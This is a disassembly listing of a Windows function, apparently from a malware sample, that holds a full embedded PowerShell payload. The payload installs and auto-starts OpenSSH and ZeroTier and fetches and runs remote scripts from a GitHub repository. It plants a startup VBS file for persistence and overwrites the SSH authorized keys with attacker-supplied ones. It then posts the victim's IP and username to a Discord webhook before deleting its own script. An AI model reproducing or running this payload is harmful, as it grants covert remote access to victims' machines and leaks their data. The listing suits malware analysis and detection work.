Function at 0x140001503
Capabilities:
Create process on windows
Delete file
Run powershell expression

Disassembly:
push rbp
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x8f]
mov qword [rbp + 0x90], rax
nop
nop
lea rdx, [rbp + 0x8f]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str._n____Add_WindowsCapability__Online__Name_OpenSSH.Client0.0.1.0__n____Add_WindowsCapability__Online__Name_OpenSSH.Server0.0.1.0__n____Start_Service_sshd__n____Set_Service__Name_sshd__StartupType_Automatic__n____Set_ExecutionPolicy_Bypass__Scope_Process__Force__n_____System.Net.ServicePointManager_::SecurityProtocol___System.Net.ServicePointManager_::SecurityProtocol__bor_3072__n____iex___New_Object_System.Net.WebClient_.DownloadString_https:__community.chocolatey.org_install.ps1____n____choco_install___force_zerotier_one__y__n____rm_C:ProgramDataMicrosoftWindowsStart_MenuProgramsZeroTier.lnk__n____cd__C:ProgramData___n____Start_BitsTransfer__https:__raw.githubusercontent.com_2o2ks_NETFLIX_main_zeroHIDE.ps1___n____.zeroHIDE.ps1__n____Start_BitsTransfer_https:__raw.githubusercontent.com_2o2ks_NETFLIX_main_google.bat__n____cd___HOMEAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup___n____Start_BitsTransfer__https:__raw.githubusercontent.com_2o2ks_NETFLIX_main_startup.vbs___n_____path____HOMEAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_startup.vbs___n____cd_C:ProgramData_ssh__n____if_______Start_BitsTransfer_https:__raw.githubusercontent.com_2o2ks_ZeroTier2_main_administrators_authorized_keys___n____if_______Start_BitsTransfer_https:__raw.githubusercontent.com_2o2ks_ZeroTier2_main_sshd_config___n____Restart_Service_sshd__n____cd___HOMEAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup___n____._startup.vbs__n____rm_C:ProgramDataMicrosoftWindowsStart_MenuProgramsZeroTier.lnk__n_n_____publicIpAddress__Invoke_RestMethod__Uri_https:__ipinfo.io_ip__n_____ipAddress___Test_Connection__ComputerName__env:COMPUTERNAME__Count_1_.IPV4Address.IPAddressToString__n_____user___env:USERNAME__n_n_____url__https:__discordapp.com_api_webhooks_1269965553175494687_ov4Id6DoGT__Xvlg_fRPQm_YcCY19d75gClQZwCIO0_alrJPUG9vNJiOem9sWn12K4lW__n_n_____jsonBody____n________content____n____IP:_________ipAddress___publicIpAddress_____HOSTNAME:______user_____n______ConvertTo_Json__n_n____Invoke_RestMethod__Uri__url__Method_Post__Body__jsonBody__ContentType_application_json__n_n____exit_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x8f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.writePSScript_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, str.powershell.exe__ExecutionPolicy_Bypass__File__temp_script.ps1_
mov qword [rbp + 0x98], rax
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x98]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x140001675
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.Script_PowerShell_executado_com_sucesso_em_modo_invisvel_
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140004ce0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x1400016a0
lea rax, str.Falha_ao_executar_o_script_PowerShell_
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140004ce0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, str.temp_script.ps1
mov rcx, rax
call sym.remove
mov ebx, 0
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400016fc
add rsp, 0x128
pop rbx
pop rbp
ret